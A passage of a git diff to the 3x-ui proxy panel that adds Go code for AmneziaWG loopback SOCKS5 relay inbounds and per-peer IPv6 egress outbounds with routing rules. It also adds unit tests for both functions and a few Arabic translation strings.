+ for _, inbound := range inbounds {
+ if inbound.Protocol != model.AmneziaWG || !inbound.Enable || inbound.NodeID != nil {
+ continue
+ }
+ inst, ok := amneziawg.InstanceFromInbound(inbound)
+ if !ok {
+ continue
+ }
+ if _, taken := existingTags[inbound.Tag]; taken {
+ logger.Warning("amneziawgnet socks: inbound tag [", inbound.Tag, "] already present in generated config, skipping its relay inbound")
+ continue
+ }
+
+ emails := make([]string, 0, len(inst.Peers))
+ for _, p := range inst.Peers {
+ if p.Email != "" {
+ emails = append(emails, p.Email)
+ }
+ }
+ if len(emails) == 0 {
+ continue
+ }
+
+ settings, err := amneziawgnet.SocksInboundSettings(emails, amneziawgnet.SocksPassword())
+ if err != nil {
+ logger.Warning("amneziawgnet socks: building settings for inbound [", inbound.Tag, "]: ", err)
+ continue
+ }
+
+ existingTags[inbound.Tag] = struct{}{}
+ cfg.InboundConfigs = append(cfg.InboundConfigs, xray.InboundConfig{
+ Listen: json_util.RawMessage(`"127.0.0.1"`),
+ Port: amneziawgnet.SOCKSPortForInbound(inbound.Id),
+ Protocol: "socks",
+ Settings: json_util.RawMessage(settings),
+ Sniffing: json_util.RawMessage(amneziawgEgressSniffingSettings),
+ Tag: inbound.Tag,
+ })
+ }
+}
+
+// amneziawgV6EgressTag returns the stable, globally-unique freedom outbound
+// tag for one peer's IPv6 source-identity egress. Stable across config
+// regenerations (a pure function of two stable identifiers), so
+// internal/xray/hot_diff.go's tag-keyed outbound/routing diffing recognizes
+// "unchanged" rather than remove+recreate on every poll. The inbound.Id
+// prefix is defense in depth, not load-bearing on its own: email is already
+// enforced globally unique across the whole panel's client table
+// (model.ClientRecord.Email has a gorm uniqueIndex) — kept anyway since it
+// costs nothing and makes the tag self-describing, matching
+// NodeEgressInboundTag's own style.
+func amneziawgV6EgressTag(inboundID int, email string) string {
+ return fmt.Sprintf("amneziawg-v6-%d-%s", inboundID, email)
+}
+
+// injectAmneziawgV6Egress gives every enabled, non-node-hosted AmneziaWG
+// peer with an IPv6 AllowedIPs entry its own single-purpose freedom
+// outbound, bound via sendThrough to that exact address, plus a routing
+// rule sending only that peer's own traffic through it — restoring the
+// per-client public IPv6 identity the hard cutover temporarily dropped
+// (Phase 3.5 of the migration plan). Scoped to outbound source identity
+// only: it depends on internal/amneziawgnet's own alias mechanism actually
+// giving the host that address at the OS level (see v6alias.go's
+// V6AliasesActive, the exact same gate this function uses below) — without
+// that, sendThrough fails to bind and every connection through it errors
+// outright (freedom.go's dial failure); there is no fallback outbound.
+//
+// The routing rule matches both inboundTag and user: SocksInboundSettings
+// (used by injectAmneziawgnetSocks above) already authenticates each
+// connection as the peer's own email via stock SOCKS5 auth, and a stock
+// Xray SOCKS5 inbound sets that connection's stats/routing identity from
+// the authenticated username — so "user" reliably isolates exactly one
+// peer's traffic, the same building block Finding 3 of the migration plan
+// already established for per-client stats.
+//
+// Modeled on injectNodeEgresses (the established N-per-slice inbound+rule
+// precedent, not injectAmneziawgnetSocks itself, which only ever emits a
+// single inbound and never touches outbounds/routing) and
+// mergeSubscriptionOutbounds's unmarshal-append-remarshal pattern for
+// cfg.OutboundConfigs. Synthetic rules are prepended ahead of whatever's
+// already in the routing rules array, the same pattern injectNodeEgresses/
+// injectMtprotoEgress already use for their own always-must-win infra
+// rules — this never touches the admin's own saved Routing-page rule
+// order.
+func injectAmneziawgV6Egress(cfg *xray.Config, inbounds []*model.Inbound) {
+ // Protocol is checked alongside Tag, not just Tag alone: a tag collision
+ // with some unrelated (non-socks) inbound must not be mistaken for this
+ // instance's own relay having been created.
+ liveInboundTags := make(map[string]struct{}, len(cfg.InboundConfigs))
+ for i := range cfg.InboundConfigs {
+ if cfg.InboundConfigs[i].Protocol == "socks" {
+ liveInboundTags[cfg.InboundConfigs[i].Tag] = struct{}{}
+ }
+ }
+
+ var existingOutbounds []any
+ if len(cfg.OutboundConfigs) > 0 {
+ if err := json.Unmarshal(cfg.OutboundConfigs, &existingOutbounds); err != nil {
+ logger.Warning("amneziawg v6 egress: outbounds section is unparsable, skipping injection:", err)
+ return
+ }
+ }
+ usedOutboundTags := make(map[string]struct{}, len(existingOutbounds))
+ for _, o := range existingOutbounds {
+ if m, ok := o.(map[string]any); ok {
+ if t, ok := m["tag"].(string); ok {
+ usedOutboundTags[t] = struct{}{}
+ }
+ }
+ }
+
+ routing := map[string]any{}
+ if len(cfg.RouterConfig) > 0 {
+ if err := json.Unmarshal(cfg.RouterConfig, &routing); err != nil {
+ logger.Warning("amneziawg v6 egress: routing section is unparsable, skipping injection:", err)
+ return
+ }
+ }
+ rules, _ := routing["rules"].([]any)
+ newRules := make([]any, 0)
+ newOutbounds := make([]any, 0)
+
+ for _, inbound := range inbounds {
+ if inbound.Protocol != model.AmneziaWG || !inbound.Enable || inbound.NodeID != nil {
+ continue
+ }
+ if _, live := liveInboundTags[inbound.Tag]; !live {
+ // The relay inbound itself wasn't created this pass (e.g. a tag
+ // collision inside injectAmneziawgnetSocks) -- no SOCKS5 inbound
+ // exists for hot_diff.go's inboundTag match to ever fire against.
+ continue
+ }
+ inst, ok := amneziawg.InstanceFromInbound(inbound)
+ if !ok || !amneziawgnet.V6AliasesActive(inst) {
+ continue
+ }
+ for _, p := range inst.Peers {
+ if p.Email == "" {
+ continue
+ }
+ v6 := amneziawg.FirstIPv6(p.AllowedIPs)
+ if v6 == "" {
+ continue
+ }
+ tag := amneziawgV6EgressTag(inbound.Id, p.Email)
+ if _, taken := usedOutboundTags[tag]; taken {
+ logger.Warning("amneziawg v6 egress: outbound tag [", tag, "] already exists, skipping peer [", p.Email, "]")
+ continue
+ }
+ usedOutboundTags[tag] = struct{}{}
+ newOutbounds = append(newOutbounds, map[string]any{
+ "tag": tag,
+ "protocol": "freedom",
+ "sendThrough": v6,
+ "settings": map[string]any{},
+ })
+ newRules = append(newRules, map[string]any{
+ "type": "field",
+ "inboundTag": []any{inbound.Tag},
+ "user": []any{p.Email},
+ "outboundTag": tag,
+ })
+ }
+ }
+
+ if len(newOutbounds) == 0 {
+ return
+ }
+
+ merged := make([]any, 0, len(existingOutbounds))
+ merged = append(merged, existingOutbounds...)
+ merged = append(merged, newOutbounds...)
+ combined, err := json.MarshalIndent(merged, "", " ")
+ if err != nil {
+ logger.Warning("amneziawg v6 egress: failed to rebuild outbounds section, skipping injection:", err)
+ return
+ }
+ cfg.OutboundConfigs = json_util.RawMessage(combined)
+
+ routing["rules"] = append(newRules, rules...)
+ newRouting, err := json.Marshal(routing)
+ if err != nil {
+ logger.Warning("amneziawg v6 egress: failed to rebuild routing section, skipping injection:", err)
+ return
+ }
+ cfg.RouterConfig = json_util.RawMessage(newRouting)
+}
+
// mergeSubscriptionOutbounds appends the subscription outbounds to the
// OutboundConfigs array of the xray config. It works on the already-unmarshaled
// template so that manually configured outbounds are never overwritten.
diff --git a/internal/web/service/xray_config_inject_test.go b/internal/web/service/xray_config_inject_test.go
index 456a37cc2..6b26e9e56 100644
--- a/internal/web/service/xray_config_inject_test.go
+++ b/internal/web/service/xray_config_inject_test.go
@@ -3,8 +3,11 @@ package service
import (
"encoding/json"
"os"
+ "strings"
"testing"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
xuilogger "github.com/mhsanaei/3x-ui/v3/internal/logger"
"github.com/mhsanaei/3x-ui/v3/internal/util/json_util"
@@ -557,3 +560,456 @@ func TestInjectMtprotoEgress_BadRoutingSkips(t *testing.T) {
t.Fatalf("unparsable routing must be left untouched, got %s", cfg.RouterConfig)
}
}
+
+func amneziawgInbound(id int, tag string, clients []model.Client) *model.Inbound {
+ server := amneziawg.ServerSettings{SubnetIP: "10.8.1.0", SubnetCIDR: 24}
+ settings, _ := json.Marshal(amneziawg.InboundSettings{Server: &server, Clients: clients})
+ return &model.Inbound{Id: id, Tag: tag, Protocol: model.AmneziaWG, Enable: true, Settings: string(settings)}
+}
+
+func TestInjectAmneziawgnetSocks_CreatesRelayTaggedWithInboundsOwnTag(t *testing.T) {
+ cfg := egressTestConfig()
+ before := string(cfg.RouterConfig)
+ inbound := amneziawgInbound(7, "awg-7", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
+ })
+ injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound})
+
+ if len(cfg.InboundConfigs) != 2 {
+ t.Fatalf("expected the relay inbound to be appended, got %d inbounds", len(cfg.InboundConfigs))
+ }
+ ib := cfg.InboundConfigs[1]
+ if ib.Tag != "awg-7" || ib.Protocol != "socks" || ib.Port != amneziawgnet.SOCKSPortForInbound(7) {
+ t.Fatalf("relay inbound must reuse the inbound's own tag (so per-inbound stats totals keep matching, and it's already selectable in the stock Routing page) and this instance's own derived port, got %+v", ib)
+ }
+ if string(ib.Listen) != `"127.0.0.1"` {
+ t.Fatalf("relay inbound must listen on loopback, got %s", ib.Listen)
+ }
+ if !strings.Contains(string(ib.Settings), `"auth":"password"`) || !strings.Contains(string(ib.Settings), `"udp":true`) {
+ t.Fatalf("relay inbound must require password auth and allow UDP ASSOCIATE, got %s", ib.Settings)
+ }
+ if !strings.Contains(string(ib.Settings), `"a@x"`) {
+ t.Fatalf("relay inbound must have an account for the peer's email, got %s", ib.Settings)
+ }
+ if !strings.Contains(string(ib.Sniffing), `"enabled":true`) {
+ t.Fatalf("relay inbound must enable sniffing -- a peer's own DNS resolution means the decapsulated traffic never carries a domain at the network layer, so domain-based Routing rules can only ever match via sniffing the payload, got %s", ib.Sniffing)
+ }
+ // No auto-generated routing rule: it's entirely up to the admin's own
+ // Routing-page rules, same as any other protocol's inbound tag.
+ if string(cfg.RouterConfig) != before {
+ t.Fatalf("injectAmneziawgnetSocks must never touch the routing section, got %s", cfg.RouterConfig)
+ }
+}
+
+func TestInjectAmneziawgnetSocks_MultipleInboundsEachGetOwnRelay(t *testing.T) {
+ cfg := egressTestConfig()
+ inbound1 := amneziawgInbound(1, "awg-1", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
+ })
+ inbound2 := amneziawgInbound(2, "awg-2", []model.Client{
+ {Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"10.9.1.2/32"}},
+ })
+ injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound1, inbound2})
+
+ if len(cfg.InboundConfigs) != 3 {
+ t.Fatalf("expected one relay inbound per inbound (plus the pre-existing one), got %d inbounds: %+v", len(cfg.InboundConfigs), cfg.InboundConfigs)
+ }
+ byTag := map[string]int{}
+ for _, ib := range cfg.InboundConfigs[1:] {
+ byTag[ib.Tag] = ib.Port
+ }
+ if byTag["awg-1"] != amneziawgnet.SOCKSPortForInbound(1) || byTag["awg-2"] != amneziawgnet.SOCKSPortForInbound(2) {
+ t.Fatalf("each inbound must get its own tag and its own derived port, got %+v", byTag)
+ }
+}
+
+func TestInjectAmneziawgnetSocks_NoQualifyingPeerSkipsRelay(t *testing.T) {
+ cases := []struct {
+ name string
+ client model.Client
+ enable bool
+ }{
+ {"client disabled", model.Client{Email: "a@x", Enable: false, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}}, true},
+ {"no PublicKey", model.Client{Email: "a@x", Enable: true, AllowedIPs: []string{"10.8.1.2/32"}}, true},
+ {"no AllowedIPs", model.Client{Email: "a@x", Enable: true, PublicKey: "pub-a"}, true},
+ {"inbound disabled", model.Client{Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}}, false},
+ {"no Email", model.Client{Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}}, true},
+ }
+ for _, c := range cases {
+ t.Run(c.name, func(t *testing.T) {
+ cfg := egressTestConfig()
+ inbound := amneziawgInbound(1, "awg-1", []model.Client{c.client})
+ inbound.Enable = c.enable
+ injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound})
+ if len(cfg.InboundConfigs) != 1 {
+ t.Fatalf("%s must be a no-op, got %d inbounds", c.name, len(cfg.InboundConfigs))
+ }
+ })
+ }
+}
+
+func TestInjectAmneziawgnetSocks_AlwaysOnRegardlessOfLegacyRouteThroughXrayField(t *testing.T) {
+ // Unlike the retired kernel-module bridge, the embedded relay has no
+ // opt-in gate: there is no alternative datapath once traffic is
+ // decapsulated in gVisor. A stale RouteThroughXray=false left over from
+ // a pre-cutover install must not suppress the relay inbound.
+ cfg := egressTestConfig()
+ server := amneziawg.ServerSettings{SubnetIP: "10.8.1.0", SubnetCIDR: 24, RouteThroughXray: false}
+ settings, _ := json.Marshal(amneziawg.InboundSettings{
+ Server: &server,
+ Clients: []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
+ },
+ })
+ inbound := &model.Inbound{Id: 1, Tag: "awg-1", Protocol: model.AmneziaWG, Enable: true, Settings: string(settings)}
+ injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound})
+ if len(cfg.InboundConfigs) != 2 {
+ t.Fatalf("the relay inbound must always be created regardless of RouteThroughXray, got %+v", cfg.InboundConfigs)
+ }
+}
+
+func TestInjectAmneziawgnetSocks_WrongProtocolOrNodeSkipped(t *testing.T) {
+ cfg := egressTestConfig()
+ vless := &model.Inbound{Id: 1, Tag: "in-1", Protocol: model.VLESS, Enable: true}
+ nodeID := 5
+ nodeHosted := amneziawgInbound(2, "awg-2", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
+ })
+ nodeHosted.NodeID = &nodeID
+ injectAmneziawgnetSocks(cfg, []*model.Inbound{vless, nodeHosted})
+ if len(cfg.InboundConfigs) != 1 {
+ t.Fatalf("a non-AmneziaWG or node-hosted inbound must never get a relay inbound, got %+v", cfg.InboundConfigs)
+ }
+}
+
+func TestInjectAmneziawgnetSocks_TagCollisionSkipsThatInboundOnly(t *testing.T) {
+ cfg := egressTestConfig()
+ cfg.InboundConfigs = append(cfg.InboundConfigs,
+ xray.InboundConfig{Port: 1234, Protocol: "vless", Tag: "awg-1"})
+ inbound1 := amneziawgInbound(1, "awg-1", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}},
+ })
+ inbound2 := amneziawgInbound(2, "awg-2", []model.Client{
+ {Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"10.9.1.2/32"}},
+ })
+ injectAmneziawgnetSocks(cfg, []*model.Inbound{inbound1, inbound2})
+
+ // Started with 2 (api + the colliding vless entry); only awg-2's relay
+ // inbound should have been added, awg-1's skipped since its tag is taken.
+ if len(cfg.InboundConfigs) != 3 {
+ t.Fatalf("expected only the non-colliding inbound's relay inbound to be added, got %+v", cfg.InboundConfigs)
+ }
+ found := false
+ for _, ib := range cfg.InboundConfigs {
+ if ib.Tag == "awg-2" && ib.Protocol == "socks" {
+ found = true
+ }
+ }
+ if !found {
+ t.Fatal("awg-2's relay inbound must still be created despite awg-1's tag collision")
+ }
+}
+
+// amneziawgV6Inbound builds an AmneziaWG inbound with IPv6 enabled and a
+// given external interface -- amneziawgInbound's own ServerSettings never
+// sets these, so injectAmneziawgV6Egress's tests need their own variant.
+func amneziawgV6Inbound(id int, tag string, ext6 string, clients []model.Client) *model.Inbound {
+ server := amneziawg.ServerSettings{
+ SubnetIP: "10.8.1.0", SubnetCIDR: 24,
+ IPv6Enabled: true, IPv6ExternalInterface: ext6,
+ }
+ settings, _ := json.Marshal(amneziawg.InboundSettings{Server: &server, Clients: clients})
+ return &model.Inbound{Id: id, Tag: tag, Protocol: model.AmneziaWG, Enable: true, Settings: string(settings)}
+}
+
+// amneziawgV6InboundNotActive builds an inbound that fails V6AliasesActive
+// (either toggle can do it), unlike amneziawgV6Inbound which always passes it.
+func amneziawgV6InboundNotActive(id int, tag string, ipv6Enabled bool, ext6 string, clients []model.Client) *model.Inbound {
+ server := amneziawg.ServerSettings{
+ SubnetIP: "10.8.1.0", SubnetCIDR: 24,
+ IPv6Enabled: ipv6Enabled, IPv6ExternalInterface: ext6,
+ }
+ settings, _ := json.Marshal(amneziawg.InboundSettings{Server: &server, Clients: clients})
+ return &model.Inbound{Id: id, Tag: tag, Protocol: model.AmneziaWG, Enable: true, Settings: string(settings)}
+}
+
+// injectAmneziawgV6Egress runs after injectAmneziawgnetSocks in the real
+// GetXrayConfig() pipeline and depends on its relay inbound already
+// existing (see the "live" tag check) -- every test below calls both, in
+// that order, to match production.
+func injectAmneziawgSocksThenV6(cfg *xray.Config, inbounds []*model.Inbound) {
+ injectAmneziawgnetSocks(cfg, inbounds)
+ injectAmneziawgV6Egress(cfg, inbounds)
+}
+
+type v6EgressRouting struct {
+ Rules []struct {
+ InboundTag []string `json:"inboundTag"`
+ User []string `json:"user"`
+ OutboundTag string `json:"outboundTag"`
+ Type string `json:"type"`
+ } `json:"rules"`
+}
+
+type v6EgressOutbound struct {
+ Tag string `json:"tag"`
+ Protocol string `json:"protocol"`
+ SendThrough string `json:"sendThrough"`
+}
+
+func TestInjectAmneziawgV6Egress_CreatesOutboundAndRuleForV6Peer(t *testing.T) {
+ cfg := egressTestConfig()
+ inbound := amneziawgV6Inbound(7, "awg-7", "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32", "fd86:ea04:1115::2/128"}},
+ })
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
+
+ var outbounds []v6EgressOutbound
+ if err := json.Unmarshal(cfg.OutboundConfigs, &outbounds); err != nil {
+ t.Fatal(err)
+ }
+ wantTag := amneziawgV6EgressTag(7, "a@x")
+ var got *v6EgressOutbound
+ for i := range outbounds {
+ if outbounds[i].Tag == wantTag {
+ got = &outbounds[i]
+ }
+ }
+ if got == nil {
+ t.Fatalf("expected an outbound tagged %q, got %+v", wantTag, outbounds)
+ }
+ if got.Protocol != "freedom" || got.SendThrough != "fd86:ea04:1115::2" {
+ t.Fatalf("outbound must be a freedom outbound bound to the peer's own v6 address, got %+v", got)
+ }
+ // Pre-existing outbounds (direct, warp) must survive untouched.
+ if len(outbounds) != 3 {
+ t.Fatalf("expected the 2 pre-existing outbounds plus 1 new one, got %+v", outbounds)
+ }
+
+ var routing v6EgressRouting
+ if err := json.Unmarshal(cfg.RouterConfig, &routing); err != nil {
+ t.Fatal(err)
+ }
+ ruleIdx := -1
+ for i := range routing.Rules {
+ if routing.Rules[i].OutboundTag == wantTag {
+ ruleIdx = i
+ }
+ }
+ if ruleIdx == -1 {
+ t.Fatalf("expected a routing rule targeting %q, got %+v", wantTag, routing.Rules)
+ }
+ rule := routing.Rules[ruleIdx]
+ if rule.Type != "field" || len(rule.User) != 1 || rule.User[0] != "a@x" ||
+ len(rule.InboundTag) != 1 || rule.InboundTag[0] != "awg-7" {
+ t.Fatalf("rule must match this peer's email and inbound tag, got %+v", rule)
+ }
+}
+
+func TestInjectAmneziawgV6Egress_SkipsPeerWithoutV6Address(t *testing.T) {
+ cfg := egressTestConfig()
+ before := string(cfg.OutboundConfigs)
+ inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32"}}, // v4 only
+ })
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
+ if string(cfg.OutboundConfigs) != before {
+ t.Fatalf("a peer with no v6 AllowedIPs entry must not get an outbound, got %s", cfg.OutboundConfigs)
+ }
+}
+
+// The documented "leave the interface blank to auto-detect" happy path must
+// not silently emit a sendThrough for an address the host was never told to
+// own -- there is no auto-detect, so that would fail every connection.
+func TestInjectAmneziawgV6Egress_SkipsWhenIPv6EnabledButInterfaceBlank(t *testing.T) {
+ cfg := egressTestConfig()
+ before := string(cfg.OutboundConfigs)
+ inbound := amneziawgV6InboundNotActive(1, "awg-1", true, "", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32", "fd86::2/128"}},
+ })
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
+ if string(cfg.OutboundConfigs) != before {
+ t.Fatalf("IPv6Enabled with a blank interface must not get an outbound (no auto-detect exists), got %s", cfg.OutboundConfigs)
+ }
+}
+
+// The inverse of amneziawgV6Inbound's own always-true IPv6Enabled: a filled
+// IPv6ExternalInterface alone (e.g. left over from a previous enable) must
+// not activate egress on its own.
+func TestInjectAmneziawgV6Egress_SkipsWhenIPv6DisabledEvenWithInterfaceSet(t *testing.T) {
+ cfg := egressTestConfig()
+ before := string(cfg.OutboundConfigs)
+ inbound := amneziawgV6InboundNotActive(1, "awg-1", false, "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"10.8.1.2/32", "fd86::2/128"}},
+ })
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
+ if string(cfg.OutboundConfigs) != before {
+ t.Fatalf("IPv6Enabled false must not get an outbound even with a leftover interface set, got %s", cfg.OutboundConfigs)
+ }
+}
+
+func TestInjectAmneziawgV6Egress_MultiplePeersEachGetOwnOutboundAndRule(t *testing.T) {
+ cfg := egressTestConfig()
+ inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
+ {Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"fd86:ea04:1115::3/128"}},
+ })
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
+
+ var outbounds []v6EgressOutbound
+ if err := json.Unmarshal(cfg.OutboundConfigs, &outbounds); err != nil {
+ t.Fatal(err)
+ }
+ tagA, tagB := amneziawgV6EgressTag(1, "a@x"), amneziawgV6EgressTag(1, "b@x")
+ seen := map[string]string{}
+ for _, o := range outbounds {
+ seen[o.Tag] = o.SendThrough
+ }
+ if seen[tagA] != "fd86:ea04:1115::2" || seen[tagB] != "fd86:ea04:1115::3" {
+ t.Fatalf("each peer must get its own outbound bound to its own address, got %+v", seen)
+ }
+}
+
+func TestInjectAmneziawgV6Egress_StableTagAcrossRegenerations(t *testing.T) {
+ // Same instance data, two independent injections -- hot_diff.go relies on
+ // the tag being a pure function of (inboundID, email) so it recognizes
+ // "unchanged" rather than remove+recreate on every poll.
+ inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
+ })
+ cfg1 := egressTestConfig()
+ injectAmneziawgSocksThenV6(cfg1, []*model.Inbound{inbound})
+ cfg2 := egressTestConfig()
+ injectAmneziawgSocksThenV6(cfg2, []*model.Inbound{inbound})
+
+ var out1, out2 []v6EgressOutbound
+ json.Unmarshal(cfg1.OutboundConfigs, &out1)
+ json.Unmarshal(cfg2.OutboundConfigs, &out2)
+ if len(out1) != len(out2) || out1[len(out1)-1].Tag != out2[len(out2)-1].Tag {
+ t.Fatalf("tag must be stable across independent regenerations, got %+v vs %+v", out1, out2)
+ }
+}
+
+func TestInjectAmneziawgV6Egress_SkipsWrongProtocolOrNodeHostedOrDisabled(t *testing.T) {
+ cfg := egressTestConfig()
+ before := string(cfg.OutboundConfigs)
+ vless := &model.Inbound{Id: 1, Tag: "in-1", Protocol: model.VLESS, Enable: true}
+ nodeID := 5
+ nodeHosted := amneziawgV6Inbound(2, "awg-2", "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
+ })
+ nodeHosted.NodeID = &nodeID
+ disabled := amneziawgV6Inbound(3, "awg-3", "eth0", []model.Client{
+ {Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"fd86:ea04:1115::3/128"}},
+ })
+ disabled.Enable = false
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{vless, nodeHosted, disabled})
+ if string(cfg.OutboundConfigs) != before {
+ t.Fatalf("wrong-protocol, node-hosted, and disabled inbounds must never get a v6 outbound, got %s", cfg.OutboundConfigs)
+ }
+}
+
+func TestInjectAmneziawgV6Egress_SkipsWhenRelayInboundNotCreated(t *testing.T) {
+ cfg := egressTestConfig()
+ // A pre-existing inbound already holds this AmneziaWG inbound's tag, so
+ // injectAmneziawgnetSocks (called first, matching production order)
+ // skips creating its relay SOCKS5 inbound entirely.
+ cfg.InboundConfigs = append(cfg.InboundConfigs,
+ xray.InboundConfig{Port: 1234, Protocol: "vless", Tag: "awg-1"})
+ before := string(cfg.OutboundConfigs)
+ inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
+ })
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
+ if string(cfg.OutboundConfigs) != before {
+ t.Fatalf("no v6 outbound should be created when the relay inbound itself never got created, got %s", cfg.OutboundConfigs)
+ }
+}
+
+func TestInjectAmneziawgV6Egress_OutboundTagCollisionSkipsThatPeerOnly(t *testing.T) {
+ cfg := egressTestConfig()
+ inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
+ {Email: "b@x", Enable: true, PublicKey: "pub-b", AllowedIPs: []string{"fd86:ea04:1115::3/128"}},
+ })
+ // Pre-seed a colliding outbound tag for a@x specifically.
+ collidingTag := amneziawgV6EgressTag(1, "a@x")
+ existing, _ := json.Marshal([]any{map[string]any{"tag": collidingTag, "protocol": "freedom"}})
+ cfg.OutboundConfigs = json_util.RawMessage(existing)
+
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
+
+ var outbounds []v6EgressOutbound
+ if err := json.Unmarshal(cfg.OutboundConfigs, &outbounds); err != nil {
+ t.Fatal(err)
+ }
+ tagB := amneziawgV6EgressTag(1, "b@x")
+ foundB := false
+ countA := 0
+ for _, o := range outbounds {
+ if o.Tag == collidingTag {
+ countA++
+ }
+ if o.Tag == tagB {
+ foundB = true
+ }
+ }
+ if countA != 1 {
+ t.Fatalf("a@x's pre-existing outbound must not be duplicated, got %d copies", countA)
+ }
+ if !foundB {
+ t.Fatal("b@x must still get its own outbound despite a@x's tag collision")
+ }
+}
+
+func TestInjectAmneziawgV6Egress_BadOutboundsOrRoutingSkips(t *testing.T) {
+ inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
+ })
+
+ cfg := egressTestConfig()
+ cfg.OutboundConfigs = json_util.RawMessage(`{not json`)
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
+ if string(cfg.OutboundConfigs) != `{not json` {
+ t.Fatalf("unparsable outbounds must be left untouched, got %s", cfg.OutboundConfigs)
+ }
+
+ cfg2 := egressTestConfig()
+ cfg2.RouterConfig = json_util.RawMessage(`{not json`)
+ injectAmneziawgSocksThenV6(cfg2, []*model.Inbound{inbound})
+ if string(cfg2.RouterConfig) != `{not json` {
+ t.Fatalf("unparsable routing must be left untouched, got %s", cfg2.RouterConfig)
+ }
+}
+
+func TestInjectAmneziawgV6Egress_NoQualifyingPeerLeavesConfigUntouched(t *testing.T) {
+ cfg := egressTestConfig()
+ beforeOut, beforeRoute := string(cfg.OutboundConfigs), string(cfg.RouterConfig)
+ inbound := amneziawgV6Inbound(1, "awg-1", "eth0", nil) // no clients at all
+ injectAmneziawgV6Egress(cfg, []*model.Inbound{inbound})
+ if string(cfg.OutboundConfigs) != beforeOut || string(cfg.RouterConfig) != beforeRoute {
+ t.Fatalf("an inbound with no qualifying peer must leave the config byte-identical")
+ }
+}
+
+func TestInjectAmneziawgV6Egress_RulesPrependedBeforeExistingRules(t *testing.T) {
+ cfg := egressTestConfig() // already has one rule, targeting "api"
+ inbound := amneziawgV6Inbound(1, "awg-1", "eth0", []model.Client{
+ {Email: "a@x", Enable: true, PublicKey: "pub-a", AllowedIPs: []string{"fd86:ea04:1115::2/128"}},
+ })
+ injectAmneziawgSocksThenV6(cfg, []*model.Inbound{inbound})
+
+ var routing v6EgressRouting
+ if err := json.Unmarshal(cfg.RouterConfig, &routing); err != nil {
+ t.Fatal(err)
+ }
+ if len(routing.Rules) != 2 {
+ t.Fatalf("expected the new rule plus the pre-existing one, got %+v", routing.Rules)
+ }
+ if routing.Rules[0].OutboundTag != amneziawgV6EgressTag(1, "a@x") {
+ t.Fatalf("the new infra rule must be prepended ahead of the pre-existing rule, got %+v", routing.Rules[0])
+ }
+ if routing.Rules[1].OutboundTag != "api" {
+ t.Fatalf("the pre-existing rule must survive, got %+v", routing.Rules[1])
+ }
+}
diff --git a/internal/web/translation/ar-EG.json b/internal/web/translation/ar-EG.json
index bb39d012f..f8c92425c 100644
--- a/internal/web/translation/ar-EG.json
+++ b/internal/web/translation/ar-EG.json
@@ -232,6 +232,15 @@
"logs": "السجلات",
"accessLogs": "سجلات الوصول",
"autoUpdate": "تحديث تلقائي",
+ "amneziawgLogs": "سجلات AmneziaWG",
+ "amneziawgHandshake": "آخر مصافحة",
+ "amneziawgInterface": "الواجهة",
+ "amneziawgInbound": "الوارد",
+ "amneziawgEndpoint": "نقطة الاتصال",
+ "amneziawgIdle": "خامل",
+ "amneziawgEvents": "الأحداث",
